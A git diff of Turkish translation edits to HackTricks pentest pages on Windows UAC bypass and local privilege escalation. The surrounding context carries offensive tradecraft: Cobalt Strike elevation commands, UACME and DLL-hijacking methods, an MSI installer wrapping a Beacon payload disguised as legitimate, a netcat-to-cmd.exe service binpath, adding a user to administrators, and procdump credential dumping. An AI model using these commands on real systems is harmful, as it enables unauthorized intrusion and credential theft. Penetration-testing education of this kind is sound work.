- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=1`, Herkes için UAC var**
 | 
			
		||||
- Eğer `EnableLua=1` ve **`LocalAccountTokenFilterPolicy=0` ve `FilterAdministratorToken=1`, herkes için UAC var**
 | 
			
		||||
 | 
			
		||||
Tüm bu bilgiler **metasploit** modülü kullanılarak toplanabilir: `post/windows/gather/win_privs`
 | 
			
		||||
 | 
			
		||||
@ -85,11 +85,11 @@ whoami /groups | findstr Level
 | 
			
		||||
## UAC atlatma
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Kurbanın grafik erişimi varsa, UAC atlatma oldukça basittir çünkü UAC istemi göründüğünde "Evet"e tıklamanız yeterlidir.
 | 
			
		||||
> Kurbanın grafik erişimine sahipseniz, UAC atlatması oldukça basittir çünkü UAC istemi göründüğünde "Evet"e tıklamanız yeterlidir.
 | 
			
		||||
 | 
			
		||||
UAC atlatma, aşağıdaki durumda gereklidir: **UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.**
 | 
			
		||||
UAC atlatması aşağıdaki durumda gereklidir: **UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.**
 | 
			
		||||
 | 
			
		||||
UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatmanın, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir.
 | 
			
		||||
UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatılmasının, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir.
 | 
			
		||||
 | 
			
		||||
### UAC devre dışı
 | 
			
		||||
 | 
			
		||||
@ -117,9 +117,9 @@ cd C$
 | 
			
		||||
#Or you could just access it:
 | 
			
		||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
 | 
			
		||||
```
 | 
			
		||||
### UAC atlatma ile cobalt strike
 | 
			
		||||
### UAC bypass with cobalt strike
 | 
			
		||||
 | 
			
		||||
Cobalt Strike teknikleri, UAC maksimum güvenlik seviyesinde ayarlanmamışsa yalnızca çalışacaktır.
 | 
			
		||||
Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesinde ayarlanmamışsa çalışacaktır.
 | 
			
		||||
```bash
 | 
			
		||||
# UAC bypass via token duplication
 | 
			
		||||
elevate uac-token-duplication [listener_name]
 | 
			
		||||
@ -139,10 +139,10 @@ Dokümantasyon ve araç [https://github.com/wh0amitz/KRBUACBypass](https://githu
 | 
			
		||||
 | 
			
		||||
### UAC bypass exploitleri
 | 
			
		||||
 | 
			
		||||
[**UACME**](https://github.com/hfiref0x/UACME), birkaç UAC bypass exploitinin **derlemesi**dir. **UACME'yi visual studio veya msbuild kullanarak derlemeniz** gerektiğini unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır, **hangi dosyaya ihtiyacınız olduğunu bilmeniz** gerekecek.\
 | 
			
		||||
**Dikkatli olmalısınız** çünkü bazı bypasslar, **kullanıcıya** bir şeylerin olduğunu **bildiren** **diğer programları** **uyarabilir**.
 | 
			
		||||
[**UACME**](https://github.com/hfiref0x/UACME), birkaç UAC bypass exploitinin **derlemesi**dir. **UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini** unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin `Source\Akagi\outout\x64\Debug\Akagi.exe`) oluşturacaktır, **hangi dosyaya ihtiyacınız olduğunu** bilmeniz gerekecek.\
 | 
			
		||||
**Dikkatli olmalısınız** çünkü bazı bypasslar, **kullanıcıya** bir şeylerin olduğunu **bildiren** bazı diğer programları **uyarabilir**.
 | 
			
		||||
 | 
			
		||||
UACME, her tekniğin çalışmaya başladığı **derleme sürümünü** içermektedir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz:
 | 
			
		||||
UACME, her tekniğin çalışmaya başladığı **derleme sürümünü** içerir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz:
 | 
			
		||||
```
 | 
			
		||||
PS C:\> [environment]::OSVersion.Version
 | 
			
		||||
 | 
			
		||||
@ -150,9 +150,9 @@ Major  Minor  Build  Revision
 | 
			
		||||
-----  -----  -----  --------
 | 
			
		||||
10     0      14393  0
 | 
			
		||||
```
 | 
			
		||||
Ayrıca, [bu](https://en.wikipedia.org/wiki/Windows_10_version_history) sayfayı kullanarak Windows sürüm `1607`'yi derleme sürümlerinden alabilirsiniz.
 | 
			
		||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
 | 
			
		||||
 | 
			
		||||
#### Daha Fazla UAC Bypass
 | 
			
		||||
#### Daha Fazla UAC atlatma
 | 
			
		||||
 | 
			
		||||
**Burada** AUC'yi atlatmak için kullanılan **tüm** teknikler, kurbanla **tam etkileşimli bir shell** gerektirir (yaygın bir nc.exe shell yeterli değildir).
 | 
			
		||||
 | 
			
		||||
@ -162,29 +162,29 @@ Bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri *
 | 
			
		||||
 | 
			
		||||
(_explorer.exe_ çalışmalıdır)
 | 
			
		||||
 | 
			
		||||
### GUI ile UAC Bypass
 | 
			
		||||
### GUI ile UAC Atlatma
 | 
			
		||||
 | 
			
		||||
Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir bypass'a ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır.
 | 
			
		||||
Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir atlatmaya ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır.
 | 
			
		||||
 | 
			
		||||
Ayrıca, birinin (potansiyel olarak RDP aracılığıyla) kullandığı bir GUI oturumu alırsanız, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **yönetici** olarak doğrudan bir **cmd** çalıştırabilirsiniz, böylece UAC tarafından tekrar istemde bulunulmaz, [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif) gibi. Bu biraz daha **gizli** olabilir.
 | 
			
		||||
Ayrıca, birinin kullandığı (potansiyel olarak RDP aracılığıyla) bir GUI oturumu elde ederseniz, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **admin** olarak doğrudan bir **cmd** çalıştırabilirsiniz, UAC tarafından tekrar istemde bulunulmadan [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **gizli** olabilir.
 | 
			
		||||
 | 
			
		||||
### Gürültülü brute-force UAC bypass
 | 
			
		||||
### Gürültülü brute-force UAC atlatma
 | 
			
		||||
 | 
			
		||||
Eğer gürültü yapmaktan rahatsız değilseniz, her zaman **şunu çalıştırabilirsiniz**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) bu **kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar**.
 | 
			
		||||
Eğer gürültü yapmaktan rahatsız değilseniz, her zaman **şunu çalıştırabilirsiniz** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) ki bu da **kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar**.
 | 
			
		||||
 | 
			
		||||
### Kendi bypass'ınız - Temel UAC bypass metodolojisi
 | 
			
		||||
### Kendi atlatmanız - Temel UAC atlatma metodolojisi
 | 
			
		||||
 | 
			
		||||
**UACME**'ye bir göz atarsanız, **çoğu UAC bypass'ının bir Dll Hijacking zafiyetini kötüye kullandığını** göreceksiniz (esas olarak kötü niyetli dll'yi _C:\Windows\System32_ içine yazmak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking/).
 | 
			
		||||
**UACME**'ye bir göz atarsanız, **çoğu UAC atlatmasının bir Dll Hijacking zafiyetini kötüye kullandığını** göreceksiniz (esas olarak kötü amaçlı dll'yi _C:\Windows\System32_ içine yazarak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking/index.html).
 | 
			
		||||
 | 
			
		||||
1. **Otomatik yükseltme** yapacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin).
 | 
			
		||||
2. Procmon ile **DLL Hijacking**'e karşı savunmasız olabilecek "**NAME NOT FOUND**" olaylarını bulun.
 | 
			
		||||
3. Muhtemelen bazı **korumalı yollar** (C:\Windows\System32 gibi) içinde DLL'yi **yazmanız** gerekecek, burada yazma izinleriniz yok. Bunu aşmak için:
 | 
			
		||||
3. Muhtemelen bazı **korumalı yollar** (örneğin C:\Windows\System32) içinde yazma izinlerinizin olmadığı **DLL'yi** yazmanız gerekecek. Bunu atlatmak için:
 | 
			
		||||
   1. **wusa.exe**: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya olanak tanır (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır).
 | 
			
		||||
   2. **IFileOperation**: Windows 10.
 | 
			
		||||
4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve otomatik yükseltilmiş ikili dosyayı çalıştırmak için bir **script** hazırlayın.
 | 
			
		||||
 | 
			
		||||
### Başka bir UAC bypass tekniği
 | 
			
		||||
### Başka bir UAC atlatma tekniği
 | 
			
		||||
 | 
			
		||||
Bir **autoElevated binary**'nin **kayıttan** bir **ikili dosyanın** veya **komutun** **adını/yolunu** **okumaya** çalışıp çalışmadığını izlemeyi içerir (bu, ikili dosya bu bilgiyi **HKCU** içinde arıyorsa daha ilginçtir). 
 | 
			
		||||
Bir **autoElevated binary**'nin **kayıttan** bir **ikili** veya **komut**'un **adını/yolunu** **okumaya** çalışıp çalışmadığını izlemeyi içerir (bu, ikilinin bu bilgiyi **HKCU** içinde araması durumunda daha ilginçtir).
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -32,7 +32,7 @@ integrity-levels.md
 | 
			
		||||
 | 
			
		||||
## Windows Güvenlik Kontrolleri
 | 
			
		||||
 | 
			
		||||
Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce **aşağıdaki sayfayı okuyun** ve **tüm bu savunma** **mekanizmalarını** **listeleyin**:
 | 
			
		||||
Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki **sayfayı** **okuyun** ve tüm bu **savunma** **mekanizmalarını** **listeleyin**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../authentication-credentials-uac-and-efs/
 | 
			
		||||
@ -42,7 +42,7 @@ Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalışt
 | 
			
		||||
 | 
			
		||||
### Sürüm bilgisi listeleme
 | 
			
		||||
 | 
			
		||||
Windows sürümünün bilinen bir açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin).
 | 
			
		||||
Windows sürümünün bilinen bir güvenlik açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin).
 | 
			
		||||
```bash
 | 
			
		||||
systeminfo
 | 
			
		||||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
 | 
			
		||||
@ -152,7 +152,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
 | 
			
		||||
```
 | 
			
		||||
## WSUS
 | 
			
		||||
 | 
			
		||||
Sistem, güncellemeler http**S** yerine http kullanılarak talep edilmediyse tehlikeye atılabilir.
 | 
			
		||||
Sistem, güncellemeler http yerine http**S** kullanılarak talep edilmediyse tehlikeye atılabilir.
 | 
			
		||||
 | 
			
		||||
Aşağıdaki komutu çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol edersiniz:
 | 
			
		||||
```
 | 
			
		||||
@ -178,9 +178,9 @@ Araştırmayı burada okuyun:
 | 
			
		||||
[**Tam raporu burada okuyun**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
 | 
			
		||||
Temelde, bu hatanın sömürdüğü kusur şudur:
 | 
			
		||||
 | 
			
		||||
> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz.
 | 
			
		||||
> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipseniz ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahip oluruz.
 | 
			
		||||
>
 | 
			
		||||
> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir güven ilk kullanımda doğrulama türü uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adı varsa, hizmet tarafından kabul edilecektir.
 | 
			
		||||
> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığı için, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir güven ilk kullanımda doğrulama türü uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adı varsa, hizmet tarafından kabul edilecektir.
 | 
			
		||||
 | 
			
		||||
Bu güvenlik açığını [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla (serbest bırakıldığında) sömürebilirsiniz.
 | 
			
		||||
 | 
			
		||||
@ -208,7 +208,7 @@ Eğer bir meterpreter oturumunuz varsa, bu tekniği **`exploit/windows/local/alw
 | 
			
		||||
 | 
			
		||||
### PowerUP
 | 
			
		||||
 | 
			
		||||
`Write-UserAddMSI` komutunu power-up'tan kullanarak mevcut dizinde ayrıcalıkları artırmak için bir Windows MSI ikili dosyası oluşturun. Bu script, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak):
 | 
			
		||||
`Write-UserAddMSI` komutunu power-up'tan kullanarak mevcut dizinde ayrıcalıkları yükseltmek için bir Windows MSI ikili dosyası oluşturun. Bu script, bir kullanıcı/grup ekleme isteği yapan önceden derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimine ihtiyacınız olacak):
 | 
			
		||||
```
 | 
			
		||||
Write-UserAddMSI
 | 
			
		||||
```
 | 
			
		||||
@ -216,7 +216,7 @@ Sadece oluşturulan ikili dosyayı çalıştırarak ayrıcalıkları artırın.
 | 
			
		||||
 | 
			
		||||
### MSI Wrapper
 | 
			
		||||
 | 
			
		||||
Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece **komut satırlarını** **çalıştırmak** istiyorsanız, bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın.
 | 
			
		||||
Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece **komut satırlarını** **çalıştırmak** istiyorsanız bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
msi-wrapper.md
 | 
			
		||||
@ -231,17 +231,17 @@ create-msi-with-wix.md
 | 
			
		||||
### Visual Studio ile MSI Oluşturma
 | 
			
		||||
 | 
			
		||||
- **Cobalt Strike** veya **Metasploit** ile `C:\privesc\beacon.exe` konumunda **yeni bir Windows EXE TCP yükü** oluşturun.
 | 
			
		||||
- **Visual Studio**'yu açın, **Yeni bir proje oluştur** seçeneğini seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **İleri**'ye tıklayın.
 | 
			
		||||
- **Visual Studio**'yu açın, **Yeni bir proje oluştur** seçeneğini seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **İleri**ye tıklayın.
 | 
			
		||||
- Projeye **AlwaysPrivesc** gibi bir isim verin, konum için **`C:\privesc`** kullanın, **çözümü ve projeyi aynı dizine yerleştir** seçeneğini seçin ve **Oluştur**'a tıklayın.
 | 
			
		||||
- 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar **İleri**'ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın.
 | 
			
		||||
- **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'u **x86**'dan **x64**'e değiştirin.
 | 
			
		||||
- Yüklenen uygulamanın daha meşru görünmesini sağlayacak **Yazar** ve **Üretici** gibi değiştirebileceğiniz diğer özellikler de vardır.
 | 
			
		||||
- 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar **İleri**ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın.
 | 
			
		||||
- **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'ı **x86**'dan **x64**'e değiştirin.
 | 
			
		||||
- Yüklenen uygulamanın daha meşru görünmesini sağlayabilecek **Yazar** ve **Üretici** gibi değiştirebileceğiniz diğer özellikler de vardır.
 | 
			
		||||
- Projeye sağ tıklayın ve **Görüntüle > Özel Eylemler**'i seçin.
 | 
			
		||||
- **Kurulum**'a sağ tıklayın ve **Özel Eylem Ekle**'yi seçin.
 | 
			
		||||
- **Uygulama Klasörü**'ne çift tıklayın, **beacon.exe** dosyanızı seçin ve **Tamam**'a tıklayın. Bu, yükleyici çalıştırıldığında beacon yükünün hemen çalıştırılmasını sağlayacaktır.
 | 
			
		||||
- **Özel Eylem Özellikleri** altında **Run64Bit**'i **True** olarak değiştirin.
 | 
			
		||||
- Son olarak, **oluşturun**.
 | 
			
		||||
- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı görünüyorsa, platformu x64 olarak ayarladığınızdan emin olun.
 | 
			
		||||
- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı gösteriliyorsa, platformu x64 olarak ayarladığınızdan emin olun.
 | 
			
		||||
 | 
			
		||||
### MSI Kurulumu
 | 
			
		||||
 | 
			
		||||
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
 | 
			
		||||
```
 | 
			
		||||
### LAPS
 | 
			
		||||
 | 
			
		||||
**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler.
 | 
			
		||||
**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, bir domaine katılan bilgisayarlarda güvenli bir şekilde Active Directory içinde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../active-directory-methodology/laps.md
 | 
			
		||||
@ -275,7 +275,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
 | 
			
		||||
 | 
			
		||||
### WDigest
 | 
			
		||||
 | 
			
		||||
Eğer aktifse, **düz metin şifreleri LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) içinde saklanır.\
 | 
			
		||||
Eğer aktifse, **düz metin şifreler LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti) içinde saklanır.\
 | 
			
		||||
[**WDigest hakkında daha fazla bilgi bu sayfada**](../stealing-credentials/credentials-protections.md#wdigest).
 | 
			
		||||
```bash
 | 
			
		||||
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
 | 
			
		||||
@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
 | 
			
		||||
```
 | 
			
		||||
### Ayrıcalıklı gruplar
 | 
			
		||||
 | 
			
		||||
Eğer **bazı ayrıcalıklı gruplara ait iseniz, ayrıcalıkları artırma imkanınız olabilir**. Ayrıcalıklı gruplar hakkında bilgi edinin ve bunları nasıl kötüye kullanabileceğinizi burada öğrenin:
 | 
			
		||||
Eğer **ayrıcalıklı bir gruba ait iseniz, ayrıcalıkları artırma imkanınız olabilir**. Ayrıcalıklı gruplar hakkında bilgi edinin ve bunları nasıl kötüye kullanabileceğinizi burada öğrenin:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../active-directory-methodology/privileged-groups-and-token-privileges.md
 | 
			
		||||
@ -329,8 +329,8 @@ Eğer **bazı ayrıcalıklı gruplara ait iseniz, ayrıcalıkları artırma imka
 | 
			
		||||
 | 
			
		||||
### Token manipülasyonu
 | 
			
		||||
 | 
			
		||||
**Daha fazla bilgi edinin** bir **token** nedir bu sayfada: [**Windows Tokenleri**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
 | 
			
		||||
Aşağıdaki sayfayı kontrol edin **ilginç tokenler hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için:
 | 
			
		||||
**Daha fazla bilgi edinin** bir **token** nedir bu sayfada: [**Windows Token'ları**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
 | 
			
		||||
Aşağıdaki sayfayı kontrol edin **ilginç token'lar hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
privilege-escalation-abusing-tokens.md
 | 
			
		||||
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
 | 
			
		||||
### Dosya ve Klasör İzinleri
 | 
			
		||||
 | 
			
		||||
Öncelikle, süreçleri listelemek **sürecin komut satırında şifreleri kontrol edin**.\
 | 
			
		||||
Bazı çalışan ikili dosyaları **üzerine yazıp yazamayacağınızı kontrol edin** veya olası [**DLL Hijacking saldırılarını**](dll-hijacking/) istismar etmek için ikili klasörün yazma izinlerinizin olup olmadığını kontrol edin:
 | 
			
		||||
Bazı çalışan ikili dosyaları **üst üste yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/index.html) istismar etmek için:
 | 
			
		||||
```bash
 | 
			
		||||
Tasklist /SVC #List processes running and services
 | 
			
		||||
tasklist /v /fi "username eq system" #Filter "system" processes
 | 
			
		||||
@ -381,7 +381,7 @@ icacls "%%z"
 | 
			
		||||
)
 | 
			
		||||
)
 | 
			
		||||
```
 | 
			
		||||
**Süreç ikili dosyalarının klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/)**)**
 | 
			
		||||
**Süreç ikili dosyalarının klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 | 
			
		||||
```bash
 | 
			
		||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 | 
			
		||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
 | 
			
		||||
@ -391,7 +391,7 @@ todos %username%" && echo.
 | 
			
		||||
```
 | 
			
		||||
### Bellek Şifre Madenciliği
 | 
			
		||||
 | 
			
		||||
Çalışan bir sürecin bellek dökümünü **procdump** kullanarak oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun.
 | 
			
		||||
Çalışan bir sürecin bellek dökümünü **procdump** kullanarak sysinternals'tan oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun.
 | 
			
		||||
```bash
 | 
			
		||||
procdump.exe -accepteula -ma <proc_name_tasklist>
 | 
			
		||||
```
 | 
			
		||||
@ -399,7 +399,7 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
 | 
			
		||||
 | 
			
		||||
**SYSTEM olarak çalışan uygulamalar, bir kullanıcının CMD açmasına veya dizinleri gezmesine izin verebilir.**
 | 
			
		||||
 | 
			
		||||
Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" için arama yapın, "Komut İstemini Açmak İçin Tıklayın" seçeneğine tıklayın.
 | 
			
		||||
Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" araması yapın, "Komut İstemi'ni Açmak için Tıklayın" seçeneğine tıklayın.
 | 
			
		||||
 | 
			
		||||
## Hizmetler
 | 
			
		||||
 | 
			
		||||
@ -416,7 +416,7 @@ Bir servisin bilgilerini almak için **sc** kullanabilirsiniz.
 | 
			
		||||
```bash
 | 
			
		||||
sc qc <service_name>
 | 
			
		||||
```
 | 
			
		||||
Her hizmet için gerekli ayrıcalık seviyesini kontrol etmek için _Sysinternals_'dan **accesschk** ikili dosyasına sahip olmanız önerilir.
 | 
			
		||||
Her hizmet için gerekli ayrıcalık seviyesini kontrol etmek üzere _Sysinternals_'dan **accesschk** ikilisinin bulundurulması önerilir.
 | 
			
		||||
```bash
 | 
			
		||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
 | 
			
		||||
```
 | 
			
		||||
@ -429,12 +429,12 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 | 
			
		||||
```
 | 
			
		||||
[accesschk.exe'yi XP için buradan indirebilirsiniz](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
 | 
			
		||||
 | 
			
		||||
### Servisi etkinleştir
 | 
			
		||||
### Servisi Etkinleştir
 | 
			
		||||
 | 
			
		||||
Bu hatayı alıyorsanız (örneğin SSDPSRV ile):
 | 
			
		||||
Eğer bu hatayı alıyorsanız (örneğin SSDPSRV ile):
 | 
			
		||||
 | 
			
		||||
_Sistem hatası 1058 oluştu._\
 | 
			
		||||
&#xNAN;_T hizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._
 | 
			
		||||
&#xNAN;_Thizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._
 | 
			
		||||
 | 
			
		||||
Bunu etkinleştirmek için kullanabilirsiniz
 | 
			
		||||
```bash
 | 
			
		||||
@ -447,7 +447,7 @@ sc.exe config usosvc start= auto
 | 
			
		||||
```
 | 
			
		||||
### **Servis ikili yolunu değiştir**
 | 
			
		||||
 | 
			
		||||
"Kimlik doğrulanmış kullanıcılar" grubunun bir serviste **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir ikilisinin değiştirilmesi mümkündür. **sc**'yi değiştirmek ve çalıştırmak için:
 | 
			
		||||
"Authenticated users" grubunun bir serviste **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir ikilisinin değiştirilmesi mümkündür. **sc**'yi değiştirmek ve çalıştırmak için:
 | 
			
		||||
```bash
 | 
			
		||||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
 | 
			
		||||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
 | 
			
		||||
@ -464,7 +464,7 @@ Yetkiler çeşitli izinler aracılığıyla yükseltilebilir:
 | 
			
		||||
 | 
			
		||||
- **SERVICE_CHANGE_CONFIG**: Servis ikili dosyasının yeniden yapılandırılmasına izin verir.
 | 
			
		||||
- **WRITE_DAC**: İzin yeniden yapılandırmasını etkinleştirir, bu da servis yapılandırmalarını değiştirme yeteneğine yol açar.
 | 
			
		||||
- **WRITE_OWNER**: Mülkiyet edinimi ve izin yeniden yapılandırmasına izin verir.
 | 
			
		||||
